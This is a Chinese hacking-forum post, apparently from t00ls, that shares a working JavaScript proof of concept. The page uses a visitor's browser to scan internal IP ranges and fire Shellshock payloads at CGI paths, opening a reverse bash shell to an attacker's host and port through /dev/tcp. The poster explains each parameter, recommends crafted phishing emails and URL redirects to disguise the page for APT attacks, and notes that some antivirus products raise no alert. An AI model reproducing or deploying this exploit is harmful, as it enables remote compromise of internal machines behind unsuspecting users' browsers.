JS探测内网是否存在bash漏洞,反弹shell
来t00ls几天啦,也没时间写原创。 --(本人首发土司啦。)
最近看到老外一篇文章,觉得很不错。
测试了一下把这个东西把过程分享给大伙,希望大伙不要踩,忙完这几天就写原创
调用一个js,扫描内网是否存在bash漏洞,然后反弹shell回来的一个小东西。搞APT应该用得到啦。
测试过程:
老外发的一个Poc我内网搭建测试
先监听了本地250端口
然后搭建之后访问
第一个参数 s 是在开始扫描内部的IP起始 e3 e4 是用于起始IP的B段和C段的结束值。(因为我本地测试,所以参数设置的比较短,大家可以自行发挥)
我们看这个例子的URL,脚本将一个HTTP请求到192.168.1.1。然后,它会主动请求192.168.1.2,192.168.1.3,192.168.2.1,192.168.2.2 等等.
直到它达到192.168.255.255。
最后一个参数D 192.168.1.8/250 是回链IP和端口。(192.168.1.8我本机)
从这里可以看到,访问了
之后请求
这个JS
之后开始内网扫描,192.168.1.1 ---- 192.168.1.20 并且访问POC里面设置的cgi路径,直接反弹shell测试。
<html> <head> <script src="http://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"></script> <script> function getParams(param_in) { var suburl = window.location.search.substring(1); var params = suburl.split('&'); for (var i = 0; i < params.length; i++) { var param_val = params[i].split('='); if (decodeURIComponent(param_val[0]) == param_in) { return decodeURIComponent(param_val[1]); } } } $(document).ready(function() { var start = getParams('s'); var end3 = getParams('e3'); var end4 = getParams('e4'); var dot = '.'; var socts = start.split(dot); var octs1_2 = socts[0]+dot+socts[1]; var dst = getParams('d'); var urlArray = ["", "/cgi-bin/test.cgi", "/cgi-bin/index.cgi" ]; var myHeader = '() { :;}; /bin/bash -i >& /dev/tcp/'+ dst + ' 0>&1' var urlArrayLen = urlArray.length; for ( var oct3 = socts[2]; oct3 <= end3; oct3++ ) { for (var oct4 = socts[3]; oct4 <= end4; oct4++) { for (var i = 0; i < urlArrayLen; i++) { var ipaddress = octs1_2+dot+oct3+dot+oct4+urlArray[i]; console.log("Scanning: " + ipaddress); $.ajax({ url: "http://"+ipaddress, headers: {"Accept": myHeader, "Accept-Language":myHeader}, type: "GET" }); } } } }); </script> </head> <body>PUT WHATEVER YOU WANT HERE</body>
实际应用情况可以精心构造邮件,url跳转等,伪装自己。
作者说测试了Windows, Mac , IE, FF, Chrome, and Safari. 均可反弹,我本地诺顿,360也没告警,作者说赛门铁克告警啦。
最后附上POC,土豪朋友赏几个bi吧,好多帖子看不了,要是有不明白的朋友可以在下面回复哦。